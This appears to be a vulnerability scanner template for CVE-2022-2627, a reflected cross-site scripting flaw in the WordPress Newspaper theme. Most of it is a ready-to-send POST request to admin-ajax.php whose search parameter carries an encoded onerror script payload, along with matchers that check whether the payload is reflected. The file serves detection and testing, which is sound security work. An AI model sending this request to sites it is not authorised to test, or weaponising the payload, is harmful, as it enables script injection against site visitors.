id: CVE-2022-2627

info:
  name: Newspaper < 12 - Cross-Site Scripting
  author: ramondunker
  severity: medium
  description: |
    The theme Newspaper does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2627
  classification:
    cve-id: CVE-2022-2627
  tags: cve,cve2022,xss,wordpress,wp,wp-theme,newspaper

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/2
        Host: {{Hostname}}

        action=td_ajax_search&td_string=tej2j1q%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3emvufr

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - '/newspaper'
        condition: and
        case-insensitive: true

      - type: status
        status:
          - 200